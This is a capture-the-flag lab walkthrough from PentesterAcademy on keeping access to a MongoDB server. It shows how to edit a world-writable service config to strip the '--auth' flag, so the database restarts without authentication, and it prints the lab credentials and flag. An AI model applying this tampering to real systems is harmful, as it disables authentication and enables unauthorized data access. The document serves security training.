
ATTACK
DEFENSE
by PentesterAcademy

Name	Leveraging MongoDB
URL	https://www.attackdefense.com/challengedetails?cid=712
Type	Persistence : Maintaining Access

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective:

1. Maintain access on MongoDB database after the credentials are modified.
2. Retrieve flag from MongoDB database.

Solution:

Step 1: Finding the IP address of target machine.

Command: ifconfig

```
root@attackdefense:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.1.1.3  netmask 255.255.255.0  broadcast 10.1.1.255
        ether 02:42:0a:01:01:03  txqueuelen 0  (Ethernet)
        RX packets 89  bytes 8119 (7.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 84  bytes 326632 (318.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.153.86.2  netmask 255.255.255.0  broadcast 192.153.86.255
        ether 02:42:c0:99:56:02  txqueuelen 0  (Ethernet)
        RX packets 16  bytes 1296 (1.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 18  bytes 1557 (1.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 18  bytes 1557 (1.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@attackdefense:~#
```

The target machine is at IP 192.153.86.3

Step 2: SSH into the target machine and enumerate the stored files.

The SSH login credentials are provided in the challenge description:

- Username: student
- Password: password

Commands:

ssh student@192.153.86.3
Enter password “password”
ls

```
root@attackdefense:~# ssh student@192.153.86.3
The authenticity of host '192.153.86.3 (192.153.86.3)' can't be established.
ECDSA key fingerprint is SHA256:XmyXA3MZTTDVd4wQ0E55fYysdobNENsOQflFLHaS1vs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.153.86.3' (ECDSA) to the list of known hosts.
student@192.153.86.3's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

student@victim-1:~$ ls
mongo-init.db
```

mongo-init.db script is present in the home directory of student user.

Step 3: Viewing mongo-init.db file

Command: cat mongo-init.db

```
student@victim-1:~$
student@victim-1:~$ cat mongo-init.db
# This file is used only for creating intial database and will not be used further.
use admin
db.createUser(
   {
     user: "student",
     pwd: "password",
     roles:
       [
         { role: "readWrite", db: "secret" }
       ]
   }
)
use secret
db.createCollection("flag")
student@victim-1:~$
```

The script is used to initialize the database (specified on the first line). The username and password to access the mongodb server are revealed along with the presence of empty “flag” collection in database “secret” on the mongodb server.

Step 3: Search for service initialization scripts.

Command: find / -name *mongo* 2>/dev/null

```
student@victim-1:~$ find / -name "*mongo*" 2>/dev/null
/lib/systemd/system/mongodb.service
/run/mongodb
/home/student/mongo-init.db
/etc/rc5.d/S01mongodb
/etc/init.d/mongodb
/etc/systemd/system/multi-user.target.wants/mongodb.service
/etc/init/mongodb.conf
/etc/rc3.d/S01mongodb
/etc/rc1.d/K01mongodb
/etc/rc0.d/K01mongodb
/etc/rc4.d/S01mongodb
/etc/rc6.d/K01mongodb
/etc/logrotate.d/mongodb-server
/etc/rc2.d/S01mongodb
/etc/mongodb.conf
/tmp/mongodb-27017.sock
/usr/local/bin/config/mongod.service
```

Step 4: Check the permission and content of “mongod.service” file

Check the file permission on “/usr/local/bin/config/mongod.service”

Command: ls -l /usr/local/bin/config/mongod.service

```
student@victim-1:~$ ls -l /usr/local/bin/config/mongod.service
-rwxrwxrwx 1 root root 58 Feb 17 16:53 /usr/local/bin/config/mongod.service
student@victim-1:~$
```

View the content of the file “/usr/local/bin/config/mongod.service”

Command: cat /usr/local/bin/config/mongod.service

```
student@victim-1:~$ cat /usr/local/bin/config/mongod.service
program=mongod
args=--auth --smallfiles --bind_ip 0.0.0.0
student@victim-1:~$
```

Step 5: Finding script which utilizes the “mongod.service” file

Command: ls -l /usr/local/bin/config.
ls -l /usr/local/bin

```
student@victim-1:~$ ls -l /usr/local/bin/config/
total 4
-rwxrwxrwx 1 root root 51 Mar  5 07:43 mongod.service
student@victim-1:~$ ls -l /usr/local/bin/
total 12
drwxr-xr-x 1 root root 4096 Feb 18 13:05 config
-rwxr-xr-x 1 root root  449 Feb 17 16:40 startup.sh
student@victim-1:~$
```

Command: cat /usr/local/bin/startup.sh

```
student@victim-1:~$ cat /usr/local/bin/startup.sh
#! /bin/bash

i=0
while read line
do
  files[ $i ]="$line"
  (( i++ ))
done < <(ls /usr/local/bin/config/*.service)

regex='^[-._A-Za-z0-9 ]+$'
for config in ${files[*]}
do
        PROGRAM=$(cat $config | grep "program=" | awk -F "=" '{print $2}')
        ARGS=$(cat $config | grep "args=" | awk -F "=" '{print $2}')
        if [[ $PROGRAM =~ $regex ]] && [[ $ARGS =~ $regex ]];
        then
                $PROGRAM $ARGS &
        else
                echo "Invalid program name or arguments."
        fi
done

student@victim-1:~$
```

The script reads all the files ending with “service” in the folder “config” and parses the program and argument parameter to start the corresponding service with the specified arguments.

Step 6: Modify “mongod.service” file and remove “--auth” parameter to start the mongodb server without any authentication.

Command: vim /usr/local/bin/config/mongod.service.

```
student@victim-1:~$ vim /usr/local/bin/config/mongod.service
student@victim-1:~$ cat /usr/local/bin/config/mongod.service
program=mongod
args=--smallfiles --bind_ip 0.0.0.0
student@victim-1:~$
```

```
student@victim-1:~$ Connection to 192.153.86.3 closed by remote host.
Connection to 192.153.86.3 closed.
root@attackdefense:~#
```

The SSH session is terminated 5 minutes after the start of the lab. The SSH credentials have been modified and cannot be used to access the target machine.

Step 7: Interact with the mongodb server and retrieve the flag

Command: mongo 192.153.86.3
show dbs
use secret
show collections
db.flag.find()

```
root@attackdefense:~# mongo 192.153.86.3
MongoDB shell version v3.4.18
connecting to: mongodb://192.153.86.3:27017/test
MongoDB server version: 2.6.10
WARNING: shell and server versions do not match
> show dbs
admin   0.078GB
local   0.078GB
secret  0.078GB
> use secret
switched to db secret
> show collections
flag
system.indexes
> db.flag.find()
{ "_id" : ObjectId("5c6cfe725a5d674d53f46093"), "value" : "cb864f0fadf186f2cfeb29690fe15715" }
>
```

FLAG: cb864f0fadf186f2cfeb29690fe15715

References:

1. MongoDB (https://www.mongodb.com/)
2. mongo (https://docs.mongodb.com/manual/mongo/)